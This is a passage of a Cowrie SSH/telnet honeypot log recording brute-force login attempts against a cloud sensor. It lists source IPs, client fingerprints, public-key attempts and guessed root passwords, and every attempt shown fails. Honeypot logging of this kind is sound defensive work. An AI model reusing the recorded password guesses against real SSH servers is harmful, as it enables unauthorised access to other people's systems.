client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.816491Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:45:f3:3a:7a:c3:2b:24:d1:02:dc:c6:ae:98:4a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwpSAEYh+66zHHuQU1MymsaAexdA01q0V9Y+oQskKzA3XSPJ52Mt+RRiWtbosE2WXk31DJnMoGHxLZrjwpxG2hryU0PFreI1HbfnxtPoVddPdKtORmruBk5AhG8a9HZpJwqs0pP/LPOQNA3vyLThgc5Bht9W06kC927xcpceno1DMEZ+2cytgzT7dLloYvHUGMjdwE+cxc1YznsNqnjmvNCrQK9nbc0wNQnvWZeFTcIUYPWitHtGYDEggwxu3KLXYy+8m8LGyayik2zdRJV0pwzSXUFvdeyQs7MSV2MmZfri524no5AMKvY/gwf3vIt3ZJRIB5gFNYC8lXp5ColEANQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:45:f3:3a:7a:c3:2b:24:d1:02:dc:c6:ae:98:4a:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.933672Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:45:f3:3a:7a:c3:2b:24:d1:02:dc:c6:ae:98:4a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwpSAEYh+66zHHuQU1MymsaAexdA01q0V9Y+oQskKzA3XSPJ52Mt+RRiWtbosE2WXk31DJnMoGHxLZrjwpxG2hryU0PFreI1HbfnxtPoVddPdKtORmruBk5AhG8a9HZpJwqs0pP/LPOQNA3vyLThgc5Bht9W06kC927xcpceno1DMEZ+2cytgzT7dLloYvHUGMjdwE+cxc1YznsNqnjmvNCrQK9nbc0wNQnvWZeFTcIUYPWitHtGYDEggwxu3KLXYy+8m8LGyayik2zdRJV0pwzSXUFvdeyQs7MSV2MmZfri524no5AMKvY/gwf3vIt3ZJRIB5gFNYC8lXp5ColEANQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.937933Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:d2:15:64:a6:a6:1b:c7:70:e4:c3:19:6d:81:85:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBpsxAupJMl7rcRCAy+gVriS27UpV69qlWk6FLmu778N8/mFfrZCpRyylKbKgU5VSBo/O5mdUVtUFzofEkrzWRG4egzpEz4ZjQGU1/N0ZCXBVUmoeZpqSL1iKUaXs0qRr2Otn1SOIa7yL6+hnYptbn/azJASROlXV5EyZTn4hu9e2d/g9VFpC9Sjf3QNrcMwsIEttC0fSjBW5l8MrSxNPhHPZgslPdO0xR0H3WUScUYYMrr2LGSArJ1yrPLFX/kCPFSOHuGBG3nKWz1ZlI00UGycYrek6xUkvbAiPAYflKKxJze2qst5WqlwnB9EWdhxLAq3YfOUJKrRDxZ9/DzsF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:d2:15:64:a6:a6:1b:c7:70:e4:c3:19:6d:81:85:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.970739Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:d2:15:64:a6:a6:1b:c7:70:e4:c3:19:6d:81:85:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBpsxAupJMl7rcRCAy+gVriS27UpV69qlWk6FLmu778N8/mFfrZCpRyylKbKgU5VSBo/O5mdUVtUFzofEkrzWRG4egzpEz4ZjQGU1/N0ZCXBVUmoeZpqSL1iKUaXs0qRr2Otn1SOIa7yL6+hnYptbn/azJASROlXV5EyZTn4hu9e2d/g9VFpC9Sjf3QNrcMwsIEttC0fSjBW5l8MrSxNPhHPZgslPdO0xR0H3WUScUYYMrr2LGSArJ1yrPLFX/kCPFSOHuGBG3nKWz1ZlI00UGycYrek6xUkvbAiPAYflKKxJze2qst5WqlwnB9EWdhxLAq3YfOUJKrRDxZ9/DzsF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:39.974748Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:f4:18:dc:2d:a0:a1:a5:c1:21:62:ea:59:83:b2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZyyfwdQ3r0eoly5HjUaydrITFnsznYTADndw99f0qD3IMeUj9QczZFDyfsFV8Dv7nkEcVmSB2YIZ3EIWZ5Z2oixmM0X8Zi+k6KcBz4aCNs7gqe6xlL8Q81Pk6LNuTKdo3jYN656RP9PnGtAVUT2pIGs7YJ1G3tdZtEnPKwIvO7wee83zgDEI17hxa1DgbW7Kc99/JfuftyBmbxGuifk5R9HlF5eZIwgUhl+K5xGVAfNGYLFUNyKo+QjXkpsozh1eEhQXrLF9QlrGRZUCgd003zBEkT/PIsKhP1hj1J1nfN4oAUEBc/YQcqDpJMpQDbw1CPwhm27RIkNEp0qGTmowH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:f4:18:dc:2d:a0:a1:a5:c1:21:62:ea:59:83:b2:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.010381Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:f4:18:dc:2d:a0:a1:a5:c1:21:62:ea:59:83:b2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZyyfwdQ3r0eoly5HjUaydrITFnsznYTADndw99f0qD3IMeUj9QczZFDyfsFV8Dv7nkEcVmSB2YIZ3EIWZ5Z2oixmM0X8Zi+k6KcBz4aCNs7gqe6xlL8Q81Pk6LNuTKdo3jYN656RP9PnGtAVUT2pIGs7YJ1G3tdZtEnPKwIvO7wee83zgDEI17hxa1DgbW7Kc99/JfuftyBmbxGuifk5R9HlF5eZIwgUhl+K5xGVAfNGYLFUNyKo+QjXkpsozh1eEhQXrLF9QlrGRZUCgd003zBEkT/PIsKhP1hj1J1nfN4oAUEBc/YQcqDpJMpQDbw1CPwhm27RIkNEp0qGTmowH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.014393Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:47:ea:34:15:c0:f7:64:f7:f6:9a:4e:b1:d5:e7:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc5C+RNbgdNmvG3NfivPQ8pp52ycQzwtHj2j2tp9vxhnX7wxy2soJHTKR4TZ/+Ofig8eCc6v6TvBZMfpUnRs09tyXGRCds54XXSfaqez5yUt3RGuOpmZQpG0m00n8SsHLEHSqKzFH8WcKfQ/NfujHcwK1w8keXcV4Ij3OvpMJ7z5xSdB+0pjY2Bkuqr50WwT8FGY37CVxUtOlQlKVWS6d+MOOnjJ2QTir5npOOt3m+IN1gbYiZBT/pLPQPcMtS7rZfvZby71OzYFUUCKUAmZsa1gSUy32oCFTT9wgsCjfm7VUkBK5YEZSCdW5GN/o3vJxhfBhJ/2As+mhk3jd0Spg0ZSVKqciVnpqWDX4lamFqNQ5NU4MKN24jsMIB0oN1hdfejNep1FT7+uDI3RwItjm55lMDfy7gVuHfPnNoqZcCmyHswxi0GKpcPJo9YHJnxuaGbsxBsBFTrWi1GfXB6VgN5OEIZYXOqgzTQypAmamR6HUeuctJiY2WaxW7PizMtjU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:47:ea:34:15:c0:f7:64:f7:f6:9a:4e:b1:d5:e7:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.045888Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:47:ea:34:15:c0:f7:64:f7:f6:9a:4e:b1:d5:e7:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCc5C+RNbgdNmvG3NfivPQ8pp52ycQzwtHj2j2tp9vxhnX7wxy2soJHTKR4TZ/+Ofig8eCc6v6TvBZMfpUnRs09tyXGRCds54XXSfaqez5yUt3RGuOpmZQpG0m00n8SsHLEHSqKzFH8WcKfQ/NfujHcwK1w8keXcV4Ij3OvpMJ7z5xSdB+0pjY2Bkuqr50WwT8FGY37CVxUtOlQlKVWS6d+MOOnjJ2QTir5npOOt3m+IN1gbYiZBT/pLPQPcMtS7rZfvZby71OzYFUUCKUAmZsa1gSUy32oCFTT9wgsCjfm7VUkBK5YEZSCdW5GN/o3vJxhfBhJ/2As+mhk3jd0Spg0ZSVKqciVnpqWDX4lamFqNQ5NU4MKN24jsMIB0oN1hdfejNep1FT7+uDI3RwItjm55lMDfy7gVuHfPnNoqZcCmyHswxi0GKpcPJo9YHJnxuaGbsxBsBFTrWi1GfXB6VgN5OEIZYXOqgzTQypAmamR6HUeuctJiY2WaxW7PizMtjU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.050033Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:f8:2b:7e:b4:fc:72:f1:07:20:53:49:fc:42:d8:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy4ekyUrLsA/OywL/BaJzX7DnFwAwPkQ+yE17Hr+ANfHHgOFnHviWq1+l4VCV6ab+6X0AwtCuhLF4hnAilae5ljGJ0/sOa0tAg7L+xKagFAmP0hJLXbMS9WAHwT1RwWB9TSGNmJmUy+KSupyAhD+T7m7y2FVulnh1ypCxyRowWBl5azg+YvATP+gJavUkqaMwxlrl4wqh5L19UyJAOUw7pnRXBjKOzZlVRV4rzUDqjE0Ds/xw93WonE61aQniHpifWJ5tTC6cF4v9FisD8N2S9srF3eT3fKA/fJURLrGWPbCPgNKxnrUpD+jUc9ihavdbXg+0YUMNU4HKXKr/Ham1wQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:f8:2b:7e:b4:fc:72:f1:07:20:53:49:fc:42:d8:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.079889Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:f8:2b:7e:b4:fc:72:f1:07:20:53:49:fc:42:d8:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy4ekyUrLsA/OywL/BaJzX7DnFwAwPkQ+yE17Hr+ANfHHgOFnHviWq1+l4VCV6ab+6X0AwtCuhLF4hnAilae5ljGJ0/sOa0tAg7L+xKagFAmP0hJLXbMS9WAHwT1RwWB9TSGNmJmUy+KSupyAhD+T7m7y2FVulnh1ypCxyRowWBl5azg+YvATP+gJavUkqaMwxlrl4wqh5L19UyJAOUw7pnRXBjKOzZlVRV4rzUDqjE0Ds/xw93WonE61aQniHpifWJ5tTC6cF4v9FisD8N2S9srF3eT3fKA/fJURLrGWPbCPgNKxnrUpD+jUc9ihavdbXg+0YUMNU4HKXKr/Ham1wQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.084246Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.114455Z","src_ip":"65.60.61.228","session":"349db1201022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test12!","message":"login attempt [root/test12!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:40.260480Z","src_ip":"202.51.70.20","session":"b4e9cc2882ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":43256,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b6993c5693","protocol":"ssh","message":"New connection: 62.133.63.178:43256 (159.203.135.109:22) [session: b7b6993c5693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:41.007402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:41.012079Z","src_ip":"62.133.63.178","session":"b7b6993c5693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:41.136602Z","src_ip":"62.133.63.178","session":"b7b6993c5693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:41.520718Z","src_ip":"202.51.70.20","session":"b4e9cc2882ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1992","message":"login attempt [root/alex1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:41.526721Z","src_ip":"62.133.63.178","session":"b7b6993c5693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:42.654130Z","src_ip":"62.133.63.178","session":"b7b6993c5693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":37072,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2cfb63fb20","protocol":"ssh","message":"New connection: 185.236.22.41:37072 (159.203.135.109:22) [session: da2cfb63fb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:54.259907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:54.265149Z","src_ip":"185.236.22.41","session":"da2cfb63fb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:54.373686Z","src_ip":"185.236.22.41","session":"da2cfb63fb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjkszpj123","message":"login attempt [root/kjkszpj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:54.702536Z","src_ip":"185.236.22.41","session":"da2cfb63fb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:55.812373Z","src_ip":"185.236.22.41","session":"da2cfb63fb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51850,"dst_ip":"10.17.0.5","dst_port":22,"session":"7457fb639373","protocol":"ssh","message":"New connection: 51.250.105.222:51850 (10.17.0.5:22) [session: 7457fb639373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:56.382665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:56.387798Z","src_ip":"51.250.105.222","session":"7457fb639373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:56.512698Z","src_ip":"51.250.105.222","session":"7457fb639373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:56.887758Z","src_ip":"51.250.105.222","session":"7457fb639373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:09:58.014709Z","src_ip":"51.250.105.222","session":"7457fb639373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52438,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe652bf15c0","protocol":"telnet","message":"New connection: 135.148.14.151:52438 (159.203.135.109:23) [session: abe652bf15c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:31.181617Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56756,"dst_ip":"10.17.0.5","dst_port":22,"session":"15a79cde7cc1","protocol":"ssh","message":"New connection: 62.133.62.83:56756 (10.17.0.5:22) [session: 15a79cde7cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:33.916241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:33.921871Z","src_ip":"62.133.62.83","session":"15a79cde7cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:34.008659Z","src_ip":"62.133.62.83","session":"15a79cde7cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chacha","message":"login attempt [root/chacha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:34.250531Z","src_ip":"62.133.62.83","session":"15a79cde7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5c8a6b9a4e","protocol":"ssh","message":"New connection: 87.251.64.176:49674 (10.17.0.5:22) [session: ce5c8a6b9a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:34.610499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:34.615063Z","src_ip":"87.251.64.176","session":"ce5c8a6b9a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman